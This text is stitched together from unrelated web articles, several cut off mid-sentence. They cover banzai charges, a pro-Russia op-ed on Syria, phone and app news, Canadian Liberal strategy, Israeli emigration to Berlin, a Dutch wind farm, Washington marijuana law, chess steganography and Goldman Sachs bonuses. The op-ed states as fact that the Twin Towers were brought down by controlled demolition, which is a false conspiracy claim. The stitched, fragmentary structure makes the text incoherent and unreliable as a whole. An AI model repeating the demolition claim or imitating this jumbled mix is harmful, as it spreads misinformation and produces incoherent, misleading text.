With the revolutionary change in the Meiji Restoration and frequent wars against China and Russia, the militarist government of Japan adopted the concepts of Bushido to condition the country's population to be ideologically obedient to the emperor. Impressed with how samurai were trained to commit suicide when a great humiliation was about to befall them, the government educated troops that it was a greater humiliation to surrender to the enemy than to die. The suicide of Saigō Takamori, the leader of old samurai during the Meiji Restoration, also inspired the nation to idealize and romanticize death in battle and to consider suicide an honorable final action.
During the Siege of Port Arthur human wave attacks were conducted on Russian artillery and machine guns by the Japanese which ended up becoming suicidal.[3] Since the Japanese suffered massive casualties in the attacks,[4] one description of the aftermath was that "[a] thick, unbroken mass of corpses covered the cold earth like a coverlet".[5]
In the 1930s, the Japanese found this type of attack proved to be effective in China. It became accepted military tactics in the Japanese army where numerically weaker Japanese forces using their superior training in bayonets were able to defeat larger Chinese forces. The Japanese here did not face massed automatic weapons but rather the bolt action rifle of the Chinese, which were slow to cycle the action.[6]
Banzai charges were forbidden by Tadamichi Kuribayashi, the Japanese commander during the Battle of Iwo Jima. He regarded banzai charges as a waste of his soldiers' lives.
In World War II [ edit ]
During the war period, the Japanese militarist government disseminated propaganda that romanticized suicide attacks, using one of the virtues of Bushido as the basis for the campaign. The Japanese government presented war as purifying, with death defined as a duty.[7] By the end of 1944, the government announced the last protocol, unofficially named ichioku gyokusai (一億玉砕, literally "100 million shattered jewels"), implying the will of sacrificing the entire Japanese population of 100 million, if necessary, for the purpose of resisting opposition forces.
During the U.S. raid on Makin Island |
BBC, New York Times and others recycle the mere speculations over and over again till they sound as facts. It's the same old story as about the alleged influence of the US elections or the hacking of the Clinton emails by Russia. All bogus and no facts!
It's well known that the so-called good terrorists have chemical weapons. These guys are best friends of the US, the Israelis, the Saudis, and the other Arab regimes that the Trump administration is cozying up to. Trump doesn't mind that the Saudis are killing Yemenis by the tenth of thousands. But as I said, it's not about the victims, it's about power politics of the US Empire and not about personal feelings of Trump towards Putin. Finally, Trump has grasped it, and he will go the way of war, and the Democrats will be all for it like they were for the so-called war on terror that George W. Bush proclaimed in 2001 when the Twin Towers were brought down by controlled demolition and not by Islamist terrorists.
Even in Germany, and this is something to be said, there were voices within Merkel's CDU who questioned the use of chemical weapons by Assad. Chancellor Merkel, however, put the sole blame on Assad. It's no surprise, Merkel is a political slave to the US. Although President Obama eavesdropped her and other European heads of states, the only trivial comment was: "Eavesdropping among friends is a no-go"! After Obama made his farewell visit to Germany in order to put Merkel at odds with the Trump administration, they went for a tete-a-tete in a fancy restaurant in Berlin.
Merkel belongs to the hard-liners in Europe who calls for further sanctions against Russia. She has an anti-Russian bias because of her upbringing in East Germany. The former German President Joachim Gauck was also a Russophobe. Although large parts of the ruling political class in Germany are Russophobe, the majority of the German people are not, despite the decade-long anti-communist propaganda that brainwashed the public.
That the US attack on Syria violates international law goes without saying. But the US does only care about international law when it suits its goals. President Vladimir Putin is right to criticize US violations of international treaties but he still hopes that the Trump administration would not fall back on the ant-Russian position of the Obama and the Clinton years. It seems as if the domestic pressure has been so strong that President Trump chooses confrontation over cooperation.It's easy to forget, but smartphones are supposed to be phones. Shocking, I know. Ignoring this most basic of functions is no good, though. Ready Contact List for Android can make your calls more efficient and attractive, and it's out of beta today.
Ready takes over for your standard dialer and incoming call screen to offer smart shortcuts when a call comes in and when it's over. For example, you can add a meeting to your calendar with the person you just talked to in a few taps. It also has a neat contact card system with lots of Gaussian blur. The app is rather nice in the looks department with splashes of bright color and cool animations.
The basic features are included for free in Ready Contact List, but you'll get nag messages at the bottom of the screen suggesting you upgrade to pro. The full package is currently $2.99 and adds themes, a predictive dialer, more ringtones, and removes the ads. Each of the features can also be purchased individually, but that's not a very good deal.OTTAWA—Two U.S. Democrats, behind-the-scenes strategists in President Barack Obama’s winning 2008 campaign, will be lending some advice to federal Liberals at their convention this month. Rich Mintz, a vice-president of Blue State Digital, and Tom McMahon, a chief architect of the Democrats’ so-called “50-state strategy” leading up to their 2008 victory, will be panelists on Jan. 14, when Liberals meet for their big biennial gathering in Ottawa. The session is titled “Lessons Learned” from the 2004 and 2008 Democratic campaigns. Both U.S. party operatives have extensive expertise in campaign skills that Liberals say they desperately need to climb back from last year’s crushing election defeat. Scotty Greenwood of the Canadian American Business Council, who knows Democratic politics well in the U.S., says these political players can lend Liberals the nuts-and-bolts kind of talk that promises to dominate the convention this month. “If the Grits are looking for work-session insights, as opposed to flashy keynote speakers, I think they made a good choice,” Greenwood said.
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Obama and his campaign were widely credited for pioneering use of online technology to win the presidency in 2008, and Mintz’s firm, Blue State Digital, has boasted that it supplied the tools for that strategy. At a conference last year in Edinburgh, Mintz talked about what Obama achieved in online fundraising in 2008. “Let’s talk about what was actually achieved through that campaign. About $500,000,000 was raised online. All in donations smaller than about $2,500, which is the limit according to election law,” Mintz said at the Museum Next conference.
“Most people gave in relatively small amounts. There were about two million people who gave money through the online campaign and most people gave more than once. And significantly, I think, the average donor was older than you might think.” Here in Canada, it’s been the Conservative party that’s seen to hold the real expertise in this campaign realm — especially in scooping up small donations — while federal Liberals have been playing a largely losing game of catch-up. The Liberals will be at an even greater financial disadvantage when the Conservatives, as promised, phase out the public subsidies to political parties — a move that is estimated to cost the Liberals roughly $16 million over the next four years. (The money they would have had from the public purse by the next election, if subsidies had stayed in place.) Elections Canada distributed allowances in the soon-to-be-extinct payments this week, which are based on how many votes each party receives in the previous election. Conservatives received $2.9 million this week; New Democrats got $2.2 million and the Liberals, after placing third for the first time in their history, received $1.4 million. The Bloc Québécois received $454,348 and the Green Party got $291,590.
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The Liberals party’s national executive has proposed the setup of a $2.5 million, permanent “national call centre,” which Liberal president Alf Apps has said is crucial to “professionalize” fundraising and compete on the same terrain as the Conservatives. McMahon, meanwhile, was executive vice-president of the Democratic National Committee from 2005 to 2009, while that party was in a rebuilding project culminating in a return to power in 2008. The 50-state strategy was a bid to revitalize the party even in areas where it traditionally had been weak. Here in Canada, Liberals have been criticized in recent years for devoting too much energy to protecting their traditional turf in Central Canada and the Atlantic region. Greenwood, who was also a former chief of staff in the U.S. embassy in Ottawa when Gordon Giffin was ambassador, has worked with McMahon in Democratic politics south of the border. She calls him a “rock star... one of the most talented political operatives in our country” and says he’s known for an understated manner and sense of humour, “not to mention his insights into how to rebuild a national party apparatus.” McMahon was also deputy campaign manager for Howard Dean’s presidential campaign bid in the Democratic Party — which was also seen to be one of the early, grand successes in modern fundraising. Dean himself gave the keynote address to the Liberals’ 2006 leadership convention, when he said that U.S. Democrats and Canadian Liberals had a lot in common — and that they had to stick up for shared principles in the face of threats from conservative adversaries. “When my party was wandering in the wilderness, there were those who said we should change direction, that we should become more like the Republican Party whose policies and priorities we disagreed with,” Dean told the Liberals in 2006. “When you say that, in essence, you are arguing that our basic and guiding principles can be altered or modified. More than that, you’re conceding that those principles may be wrong. They are not.”
Read more about:A group of young Israeli expats in Berlin have unleashed controversy back home by encouraging others to join them for a cheaper life.
The high cost of living in Israel has driven many to up sticks to the German capital, with the fact that a popular chocolate pudding can be bought for a third of the price there used to highlight the issue.
However, the exodus has sparked fury in Israel, with one commentator labelling the trend 'disgusting'.
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A group of young Israeli expats in Berlin (pictured) have unleashed controversy back home by encouraging others to join them for a cheaper life
The high cost of living in Israel has driven many to up sticks to the German capital (pictured), with the fact that a popular chocolate pudding can be bought for a third of the price there used to highlight the issue
The idealization of Berlin is viewed by many as a hurtful provocation, with memories of the Holocaust, in which six million Jews were murdered, still fresh, especially among Israel's large community of survivors. Some still refuse to visit Germany or buy products it makes.
Even if the economic argument is justified, Israelis largely feel that giving up should remain out of bounds.
'What does any of that have to do with Berlin? What does any of that have to do with the disgusting trend of encouraging Israelis to emigrate?' columnist Ben Caspit wrote in Maariv. 'The war over our home needs to be fought at home.'
The uproar began several weeks ago when a 25-year-old former Israeli army officer flaunted photos of his grocery receipts - including those of a popular chocolate pudding that sells in Germany for one-third the price in Israel - and boasted about the good life in the German capital.
The idealization of Berlin is viewed by many in Israel as a hurtful provocation
Now known as the 'Milky' protest, after the pudding's Israeli name, the Facebook campaign has received 17,000 'likes' and pictures of Israelis holding signs asking German Chancellor Angela Merkel to give them a visa have gone viral.
Israeli TV channels have sent reporters to Berlin to cover the thriving Israeli expat community there.
Finance Minister Yair Lapid, whose centrist Yesh Atid party rode the 2011 protests to become a major player in Israeli politics, said he sympathized with the burden of the new protesters but not their method.
'These people are anti-Zionists. I'm a Zionist, I think Jews should live in Israel,' he said. 'That doesn't change the fact that the cost of living is high here... The cost of living is not the only question for a person to consider when deciding where to live and by which values.'
The former army officer behind the protest said he still loves his country, defends it when it is slandered in Europe and would prefer to live in Tel Aviv but just can't afford it. He said his goal is to spur politicians like Lapid into action.
'My aim is to educate the Israeli government. They need to make Israel a more attractive place for young people,' said the slim man with short-cropped black hair and dark brown eyes, in an interview the Associated Press in Berlin this week. He asked that his identity be withheld because he wants 'the public to focus on the message, not on the messenger.'
One commentator said that 'the war over our home needs to be fought at home'. Pictured is the Tel Aviv city skyline and beachfront
He said thousands of exasperated Israelis have asked him for help in getting visas. He reasons that if Israelis vote with their feet and simply leave the country, the government will be forced to serve the public better.
Cabinet Minister Yair Shamir, son of former Prime Minister Yitzhak Shamir and a member of the ultranationalist Yisrael Beitenu party, told the Maariv newspaper that he pities 'the Israelis who no longer remember the Holocaust and abandoned Israel for a pudding.'
In the daily Haaretz, columnist Ravit Hecht argued that such ultranationalists were actually driving the young away, but that was still no excuse to bolt. 'Berlin is a lovely city, but it is sucking away all the forces that we desperately need here, especially now,' she wrote.
Like many other expatriates drawn to Berlin's cheap housing and vibrant lifestyle, thousands of Israelis already call the city home, according to the Associated Press.
Since many enter Germany with other European passports or come for limited periods of time, it's hard to track exact numbers: Estimates range from 3,000 to 30,000. Many come to enjoy free university study and work as artists and musicians. Others have opened small businesses and organized Hebrew language classes and activities for children. Those with German passports are also eligible for a welfare stipend of almost 400 euros a month.
Eran Levy, a 46-year-old who moved to Berlin nine years ago, said he enjoys the calmer pace of life and the relief that his daughter is growing up far away from bomb shelters and rocket attacks.
'I like how people in Berlin are so non-judgmental and take me as I am,' said Levy, who works in customer service and is now fluent in German.
In practice, demographers say the phenomenon is more symbolic than actual. The number of European Jews who move to Israel is much higher than the number of Israelis heading to Europe. Take France alone, which has Western Europe's largest population of Jews, at about 500,000: Emigration this year to Israel is set to top the annual record of nearly 5,300 set after the Six-Day War in 1967, according to the Jewish Agency for Israel - in part due to concerns about militant Islam and France's sluggish economy.
Sergio Della Pergola, a leading demographer from the Hebrew University of Jerusalem, said Israeli emigration has actually dropped considerably in recent years and those who did leave were headed primarily to the United States and Canada, not Europe. He said the latest central Bureau of Statistics figures showed that 2012 had the lowest emigration rate in decades. That same year, only 3,065 Israelis were documented as living in Berlin.
'There is a big gap between the mood and the facts,' he said.
Even so, the idea of people leaving when the going gets tough is hard to swallow in a country where struggle and sacrifice are so engrained in the national psyche.OnePlus has confirmed that it is discontinuing the OnePlus 3T ahead of the OnePlus 5’s much-anticipated arrival this summer. Fans have one last chance to buy the device before it disappears from the company’s online store, but “only a few” devices remain.
The OnePlus 3T has been OnePlus’ best smartphone so far, which is why it was so positively reviewed. It competes with the latest and greatest from the likes of Samsung, Google, and LG — yet it costs a fraction of the price. It also offers near-stock Android software with greater customization options, an excellent camera, and a speedy Snapdragon 821 chip.
But its time on the market has been short-lived. The OnePlus 3T launched last November, just five months after OnePlus began selling the OnePlus 3, and it is about to disappear just six months later. OnePlus has put out a last call to buy the device for those who are still interested before its remaining stock is gone.
“Only a few devices are left in our warehouse, so purchase yours before time runs out,” the company warns. The last call applies to sales through the OnePlus online store in North America, Europe, and Hong Kong. Once remaining units are sold, there will not be anymore. But the OnePlus 3T is being discontinued for a good reason.
The OnePlus 5 is expected to make its official debut next month. Recent rumors have suggested it will be even more spectacular, with Qualcomm’s latest Snapdragon 835 processor, 6GB of RAM, and even more capable dual rear-facing cameras.
Farewell, OnePlus 3T. You’ve been great!144 MW Near-Shore Wind Farm For The Netherlands
August 1st, 2014 by Jake Richardson
The Westermeerwind wind farm will be built near IJsselmeer lake, which is a man-made body of freshwater fed mostly by the Rhine river. The lake covers about 1100 square kilometers and is near the Dutch municipality of Noordoostpolder, which is the largest municipality in terms of land area.
Arranged in three rows of sixteen, the 48 Siemens SWT-3.0-108 wind turbines will generate enough electricity to power about 160,000 homes. It is expected they will be operational by early 2016. Each Siemens turbine generates 3 MW and uses a gearless design.
The turbine array will be situated at least 500 meters from a local dike and in shallow waters. Turbine installation will be made possible by the use of special floating barges. About 150 temporary jobs will be created during the installation phase and 30 permanent employees will be need for operation and maintenance for the fifteen-year service period. Siemens will service the wind farm during that period as part of the deal.
The Netherlands has a goal of generating about 14% of its electricity from renewables by 2020, so adding 144 MW of wind power will help achieve that goal.
In 2010, the Nethelands only generated about 4% of its electricity from renewables. Wind, solar, biofuel and geothermal are the most common forms of renewables there. Biofuels and onshore and offshore wind power have good potential there.
The Netherlands wants to have 6,000 MW of onshore wind power installed by 2020. Currently, the country has about 2,000 onshore wind turbines established.
The Dutch government has said that currently offshore wind is less favorable due to the costs. There are only 228 MW of offshore wind farms generating electricity. Several years ago, it was reported that the Dutch were sort of ‘falling out of love’ with windmills, but that may have been more about offshore wind farms.New story on this topic: Washington’s law ending ‘wild west’ of medical marijuana may boost black market
.
Good? Bad? Indifferent?
However you’ve felt about the proliferation of those green crosses around the state, especially in its urban centers, they are going away.
The Washington Legislature just passed the medical marijuana overhaul bill … sending it to the governor’s pen (Governor Jay Inslee will likely sign it … though he might still strike out a thing or two since he can line-item veto. We’ll hear more about his intentions soon).
Inslee has been working closely with those working on the bill, said spokesperson Jaime Smith. Inslee has clearly been in favor of new regulations on the medical marijuana market.
But, she said, “it’s too early to know what he will do. The governor is happy they were able to reach agreement on legislation and will take a close look at it.”
Update: Gov. Jay Inslee signed the bill with minor changes on April 24.
If tweaks are needed, she said, the governor can use the line-item veto to make changes. Inslee has a media availably event scheduled for tomorrow (Wednesday) at 10:30. Check out TVW for details.
The punchline is that collective gardens are gone … or nearly so. They’ve been all but eliminated by the new bill — Republican Sen. Ann Rivers’s S.B. 5052.
Will they go quietly?
Will they move into the black market?
Will cities use the new law in a run of new arrests?
Will the new law prop up the state’s recreational marijuana system? That’s one question we can answer now: Yes.
Well, everyone has until July 2016 to figure it out. Some will go into the recreational system regulated by the Liquor Control Board — now the “Washington State Liquor and Cannabis Board” — and others will …?
About the existing collectives with storefronts, the new law states:
The state liquor and cannabis board must develop a competitive, merit-based application process that includes, at a minimum, the opportunity for an applicant to demonstrate experience and qualifications in the marijuana industry. The state liquor and cannabis board shall give preference between competing applications in the licensing process to applicants that have the following experience and qualifications, in the following order of priority:
(i) First priority is given to applicants who:
(A) Applied to the state liquor and cannabis board for a marijuana retailer license prior to July 1, 2014;
(B) Operated or were employed by a collective garden before January 1, 2013;
(C) Have maintained a state business license and a municipal business license, as applicable in the relevant jurisdiction; and
(D) Have had a history of paying all applicable state taxes and fees;
(ii) Second priority shall be given to applicants who:
(A) Operated or were employed by a collective garden before January 1, 2013;
(B) Have maintained a state business license and a municipal business license, as applicable in the relevant jurisdiction; and
(C) Have had a history of paying all applicable state taxes and fees; and
(iii) Third priority shall be given to all other applicants who do not have the experience and qualifications identified in (a)(i) and (ii) of this subsection.
As for the other questions, we’ll be pursuing them. For now, here are two statements about the law from a City of Seattle news release:
Mayor Ed Murray and Seattle City Attorney Pete Holmes issued the following statements upon passage of the bipartisan Patient Protection Act, SB 5052. “Passage of Senate Bill 5052 is a positive step forward. Seattle now has clear guidance from the State as the City of Seattle develops its own regulatory framework to maintain a safe and legal marijuana market in our city,” Mayor Murray said. “It is important to note that more needs to be done in future legislation to protect the privacy and rights of medical marijuana patients. Over the coming weeks, I will be working with community stakeholders, City Attorney Holmes and the Seattle City Council on developing policies to implement this legislation.” “This legislation restructures the I-502 licensing system to accommodate medical marijuana providers, phases out unlicensed marijuana dispensaries, and gives medical marijuana patients access to legal, tested, regulated, and labeled marijuana products,” said Seattle City Attorney Holmes. “I’m pleased to see the legislature strike a fair balance between strengthening I-502’s pioneering effort to legalize, tax, and regulate marijuana and protecting patients’ access to medicinal products and ability to home grow. I look forward to working with the Mayor, City Council, and other stakeholders to fully implement this legislation in Seattle.”
Stay tuned. Here’s the Associated Press’ RACHEL LA CORTE’s rundown of the bill and action:
OLYMPIA, Wash. (AP) — The Washington Legislature on Tuesday approved an overhaul of the state’s medical marijuana market, sending to Gov. Jay Inslee a bill that seeks to eliminate unregulated dispensary sales now that the state’s recreational market is in place. The Senate concurred with changes made to the bill in the House last week, and then voted 41-8 to pass it out of the chamber (and) on to the governor for his expected signature. After the vote, the bill’s sponsor said that (the) state could no longer wait to reconcile the medical and recreational markets. “The reality is that we have a thriving illicit market,” said Republican Sen. Ann Rivers of La Center. “It’s essential that we shut that down. But it was also essential that our patients had a clean supply and an adequate supply.” Among its many provisions, Senate Bill 5052 would create a database of patients. Changes made in the House included making voluntary the patient registry that was mandatory under the original Senate version. However, unregistered patients wouldn’t be allowed to possess the same amounts of marijuana or enjoy similar tax breaks that registered patients would. Under the measure, patients who are entered into the database and hold an authorization card will be allowed to possess three times as much marijuana as is allowed under the recreational law: 3 ounces dry, 48 ounces of marijuana-infused solids, 216 ounces liquid and 21 grams of concentrates. Such a patient could also grow up to six plants at home, unless authorized to receive more by a health professional. For someone who doesn’t get an authorization card but is considered a qualified patient, the limit is the same as the recreational limit of one ounce. However, such a patient would be allowed to grow up to four plants and possess up to six ounces from those plants. The passage of Initiative 502 in 2012 allowed the sale of marijuana to adults for recreational use at licensed stores, which started opening last summer. Recreational businesses have complained that they’re being squeezed by medical dispensaries that have proliferated in many parts of the state, providing lesser- or untaxed alternatives to licensed recreational stores. In other words, places that used to only deal in CBD capsules and other purely medical purposed goods, are now selling things like gummy bears and brownies with recreation in mind. Senate Bill 5052 would crack down on collective gardens, eliminating the current collective garden structure starting July 1, 2016, but allowing four-patient “cooperatives.” The cooperatives would be limited to a maximum of 60 plants, and the location of the collective would have to be registered with the state, and couldn’t be within one mile of a licensed pot retailer. But it would also provide an avenue for existing collective gardens to stay in business, by requiring the state Liquor Control Board — which would be renamed the Liquor and Cannabis Board — to adopt a merit-based system for granting marijuana licenses. Among the factors that could be considered are whether the applicant previously operated a collective garden, had a business license or paid business taxes. Democratic Sen. Jeanne Kohl-Welles of Seattle said that while she agreed that there needed to be an alignment of the two systems, she was voting no “because I need to make that point for the patients.” “I’m worried about the patients who are dependent upon the places that they know well,” she said. Another bill passed by the House last week that is awaiting action in the Senate calls for eliminating the three-tier tax structure voters approved in Initiative 502 and replacing it with a single excise tax of 30 percent at the point of sale that everyone would have to pay, both patients and recreational users. However, under that bill, patients who are in the registry and have an authorization card would be exempt from additional sales tax on their purchases.
Is this a blow to legalization or a boon?
Jake Ellison can be reached at 206-448-8334 or jakeellison@seattlepi.com. Follow Jake on Twitter at twitter.com/Jake_News. Also, swing by and *LIKE* his page on Facebook.
If Google Plus is your thing, check out our marijuana coverage here.In 1928, a handful of German chess nerds came together to form the Internationaler Fernschachbund, the first international correspondence chess league. Correspondence, or postal chess, is played just like regular chess, except rather than having two players sit across a board from one another, they play by marking a card which is then sent by mail from one player to another and it is not unheard of for a single game to last several months or even years.
By 1939, the Fernschachbund disbanded due to political tensions in Nazi Germany, but soldiers and civilians alike continued to pass the time by playing postal chess. This all ended in 1943, when US and Canadian censors began targeting postal chess games, especially trans-Atlantic games, out of fear that the games were being used to send secret messages to enemy forces.
According to a 1991 article in Chess Life and Review, the censors would blot out the chess board on the playing card for any US servicemen playing postal chess. This made it impossible to see the opponent's move and continue the game. At first glance, this paranoia seems absurd—after all, chess grandmasters are pretty smart people, and it would seem pretty obvious if people were using fake chess moves to hide hidden messages. All it would take is one Bobby Fischer-type to check all incoming and outgoing postal chess games to make sure they were legit, right?
"I suspect one who knows the game and the pieces could spot something [suspicious]," Joan DuBois, author of the Chess Life article and affiliate relations associate of the US Chess Federation, told me. "But I suppose anyone could make up a code for anything if they put their mind to it. In times of war, everything is suspect."
So what exactly were the censors looking for, then, if illegal moves would be obvious? And for that matter, had chess ever been used to conceal hidden messages before?
Although there is woefully little information available on either of these topics, it seems that chess has, in fact, been used to encode sensitive military information previously. According to a 1918 article in Everybody's Magazine, one of the first instances involved an actress living in France during WWI who befriended a diplomat of an unnamed foreign embassy. One of her first questions to the diplomat upon meeting him was whether or not he knew of any good chess players in his home country. The diplomat did not, but eager to please the actress, he located a chess club and forwarded a note given to him by the actress, which contained a chess problem she was having difficulty solving. According to the article, the problem was, what opening move had been used in order to leave the board looking like this:
This chessboard supposedly was used to show the positions of French troops to Germans during WWI. Image: Everybody's Magazine
As it turned out, before giving the diplomat a copy of the chess problem, the actress had visited a German pilot who had been shot down behind enemy lines and was recovering in a French hospital. To make a long story short, the French government knew the Germans had a land survey of a strategically important area of France which housed French troops and when they intercepted the letter sent by the diplomat, they found that the chess board corresponded to this land survey exactly. In other words, if you divided a map of that area of France into 64 squares like a chess board, the positions of the pieces on the board corresponded exactly to the locations of French reserve troops.
The story is interesting, but is ultimately a pretty crude example of steganography, or the art and science of encoding secret messages in ordinary ones. A secret code this simple wouldn't fly in World War II, which revolutionized the fields of cryptography and steganography with the birth of the Nazi's supposedly un-crackable cipher generator, the enigma machine. Incidentally, when the codes generated by the enigma machine were finally solved, it was largely thanks to Alan Turing and his team of cryptographers at the UK's Government Code and Cypher School, which made a point of enlisting chess masters like Conel Hugh O'Donel Alexander to help in the codebreaking. Turing himself was also very interested in chess—in 1951, he developed the first computer program, albeit on paper, that was capable of playing a full game of chess.
Although chess masters helped in cracking the most important codes of World War II, it's still unclear just how the US government thought that a game of chess itself could be used to encode secret messages. Although DuBois wasn't sure how this might be accomplished, a 2009 research paper published in Security Communication Networks offers some clues. Entitled 'Chestega,' the paper is perhaps the only example where a methodology for coding secret messages in games of chess is explicitly outlined.
The work of Abdelrahman Desoky and Mohamed Younis, then graduate students of computer science at the University of Maryland, Chestega makes use of algebraic notation (a way of writing chess moves as numbers and letters corresponding to positions on a chessboard), as well as extraneous chess data such as listings of player rankings on the internet, to encode messages.
As Desoky notes in the paper, using the chessboard to conceal messages is the most intuitive method (like that used by the French actress during WWI), but also constrains the size of the message that can be sent by the number of squares on the board (64). On the flipside, algebraic notation can conceal much longer messages since "most chess games, especially at the master level, last for an extended duration and involve many moves."
Example of a correspondence chess card. Image: Wikimedia Commons
To make use of Desoky and Younis' chess code, a user must first convert the message into a string of binary numbers (1s and 0s) which are then divided into groups based on a predetermined arrangement between the people corresponding. This binary code is then rewritten as decimal numbers, which are then converted into portable game notation, a computer-readable equivalent of algebraic notation used by many computer chess games.
So for example, if your message is "he doesn't love you," that works out to "0110100001100101001000000110010001101111011001010111001101101110100100100111010000100000011011000110111101110110011001010010000001111001011011110111010100100000" as a binary string. If you and the person you're trying to communicate with have agreed on a 7-bit binary message (that is, dividing that long-ass string up into groups of 7 numbers), you end up with "0110100 0011001 0100100 0000110 0100011 0111101 1001010 1110011 0110111 0100100 1001110 1000010 0000011 0110001 1011110 1110110 0110010 1001000 0001111 0010110 1111011 1010100 100000."
When this is converted to decimal notation, you get "52 25 36 6 35 61 74 115 55 36 78 66 3 49 94 118 50 72 15 22 123 84 32." Each of these numbers corresponds to a square when converted to portable game notation, so the final result would be a string of moves that looks like this: "d2 a5 d4 f6 c4 e1 b7 c2 g2 d4 f7 b8 c8 a2 f5 f2 b2 h8 g7 f6 c1 d6 h5." And viola: you have now coded a secret, heart-breaking message into a legitimate chess game.
As Desoky pointed out, Chestega is most effective when used with games of chess that have already been played. This is because data can be concealed in the legitimate moves of the game, to help avoid any false or suspicious moves being used to hide data, which would raise flags for any chess adept.
"Chess is the hardest game to use for steganography because the rules in chess are very hard," Desoky told me. "For example, if we make a wrong move to hide data, this wrong move will be obvious to anyone and will count as noise. If they're able to detect noise, then they're able to detect the use of steganography and the purpose [of concealing data] will be defeated."
Whether or not a similar methodology has ever been employed by spies in the real world is unknown. However, in a strange case of Cold War-era espionage, Graham Mitchell, deputy director of MI5, the UK's intelligence bureau, was suspected of being a double agent for the Soviets, and a handful of correspondence chess games played a peculiar, albeit tenuous role in the drama.
Based on a series of correspondence chess games played by Graham Mitchell, a grandmaster of correspondence chess, and some players in Germany, Mitchell was suspected of sending secret codes meant for his Soviet handlers during a big investigation into the Cambridge Five spy ring. Supposedly, the game below contains one of Mitchell's devious messages, although the code has still never been cracked.
The 1950 Mitchell-Watzl correspondence chess game suspected to contain a secret message. Image: Screengrab, BBC
Today, the International Correspondence Chess Federation, which grew out of the seed planted by the Internationaler Fernschachbund in 1928, boasts some 100,000 members in over 60 countries. It seems unlikely that these chess players represent an international cabal bent on ruling the world and communicating their dastardly plans via their chess games, although if they were, we'd probably never know.
Subscribe to pluspluspodcast, Motherboard's new show about the people and machines that are building our future.Don't take the Multiplayer Programmer job at advert for CD Projekt Red to mean, unequivocally, that The Witcher 3 and Cyberpunk will feature multiplayer.
The studio's head of marketing, Michal Platkow-Gilewski, told Eurogamer that everything's still at an ideas stage, and this new hire will help them understand what will and won't work going forward.
"As for the job ad: this post should be named Multiplayer/Online Programmer," Platkow-Gilewski told us. "I don't want to comment on what this guy will create, it's way too early.
"We want to bring to the team someone experienced in this field to evaluate our concepts and ideas. He will be one of backbone elements of our R&D.
"We believe that there's still a lot of space for innovation in the RPG genre. At this stage of our games' development, we want to explore all possible directions, check what would be cool, what's feasible and - always the most important for us - what suits our games the best."
The Multiplayer Programmer job advert advertised for someone to "prepare our engine for challenges of upcoming online component of our future games", which probably means, "prepare our engine for the upcoming challenges of adding an online component to our future games".
"We believe that there's still a lot of space for innovation in the RPG genre. At this stage of our games' development, we want to explore all possible directions, check what would be cool, what's feasible and - always the most important for us - what suits our games the best." Michal Platkow-Gilewski, head of marketing, CD Projekt Red
Responsibilities will include "creating a roadmap of changes necessary to add multiplayer to the Red Engine", and "helping in design and implementation of multiplayer changes to existing systems", among other things.
The advert also cited PS3 development experience as a plus. CDPR hasn't released a game for PS3 yet, only Xbox 360 - but that's not to say the studio hasn't been interested in Sony's machine.
Besides its main story campaign, The Witcher 2 added an Arena mode post-launch. Here, hero Geralt could battle increasingly difficult groups |
be implemented in Portugal, Belgium, the Netherlands and Norway.
The increasing number of patients with heart failure is overloading the public healthcare systems. In Portugal there are 260,000 individuals with Heart Failure and in Europe this figure reaches 15,000,000. The prevalence of the disease in citizens with 70+ years is of over 10%. In Portugal, Europe and in the U.S., the costs associated with this pathology represent one to two percent of all costs related to healthcare and it is estimated that the recurrent hospitalizations, common in HF patients, correspond to, approximately, 70% of all HF costs. An example of the increasing impact of HF on health systems is the priority given in the U.S. to the development of strategies that reduce readmission of patients with HF.
The SmartBEAT is a European project (integrated in the Ambient Assisted Living Joint Programme) which involves 10 partners, including Fraunhofer AICOS and Hospital São João. The funding, over two million euros, will be carried out by various entities from each country, namely the Portuguese Foundation for Science and Technology (FCT).Two of Samsung’s new Galaxy A lineup of devices are now available in China for purchase. Samsung hadn’t said anything about a release date when the phones were announced, and a Dutch retailer had listed January 8th as the day the Galaxy A3 (2016) and the Galaxy A5 (2016) would become available. But it seems consumers in China can already pick up the A5 and A7, which doesn’t come off as surprising given Samsung launches many of its non-flagship products in China before any other market.
The Galaxy A5 (2016) and Galaxy A7 (2016) are priced at 2,398 Yuan and 2,699 Yuan, or roughly Euro 340 and Euro 380, prices we had exclusively revealed when the handsets went official. Also notable is the fact that the two phones seem to come with updated icons for built-in apps, icons which we also saw on the Galaxy A9 in the hands-on video that showed up yesterday. The Galaxy A3 (2016) doesn’t seem to have these new icons, and it’s possible these icons will not be present on these devices outside China.
Speaking of the Galaxy A3 (2016), the smallest of the trio isn’t listed on Samsung China’s website, which is further indication that the new (and improved) icons are exclusive to the Chinese variants. The icons look rather Material Design-ish, so we can only hope Samsung will be bringing them to existing/upcoming devices and replacing the rather appalling round icons it introduced with the Galaxy Note 5 and Galaxy S6 edge+.
The Galaxy A5 and Galaxy A7 2016 feature metal and glass bodies, 5.2-inch and 5.5-inch Full HD Super AMOLED displays, octa-core processors, 2/3GB of RAM, 13-megapixel rear cameras with optical image stabilization, fingerprint sensors with Samsung Pay support, and 2,900 mAh and 3,300 mAh batteries. Both phones run Android 5.1.1 Lollipop, and for those in China, come with an option to remove pre-installed apps.
Thanks, Justin Choi!
Source 1 Source 2The following correction was printed in the Observer's For the record column, Sunday June 28 2009
In the article below, we made reference to "guaranteed rewards that were paid over three years". In fact, Goldman Sachs has a policy of not paying multi-year guarantees, and variable compensation for its employees has always been driven by the performance of the firm.
Staff at Goldman Sachs staff can look forward to the biggest bonus payouts in the firm's 140-year history after a spectacular first half of the year, sparking concern that the big investment banks which survived the credit crunch will derail financial regulation reforms.
A lack of competition and a surge in revenues from trading foreign currency, bonds and fixed-income products has sent profits at Goldman Sachs soaring, according to insiders at the firm.
Staff in London were briefed last week on the banking and securities company's prospects and told they could look forward to bumper bonuses if, as predicted, it completed its most profitable year ever. Figures next month detailing the firm's second-quarter earnings are expected to show a further jump in profits. Warren Buffett, who bought $5bn of the company's shares in January, has already made a $1bn gain on his investment.
Goldman is expected to be the biggest winner in the race for revenues that, in 2006, reached £186bn across the entire industry. While this figure is expected to fall to £160bn in 2009, it will be split among a smaller number of firms.
Barclays Capital, Credit Suisse and Deutsche Bank are among the European firms expected to register bumper profits, along with US banks JP Morgan and Morgan Stanley following the near collapse and government rescue of major trading houses including Citigroup, Merrill Lynch, UBS and Royal Bank of Scotland.
In April, Goldman said it would set aside half of its £1.2bn first-quarter profit to reward staff, much of it in bonuses. It is believed to have paid 973 bankers $1m or more last year, while this year's payouts are on track to be the highest for most of the bank's 28,000 staff, including about 5,400 in London.
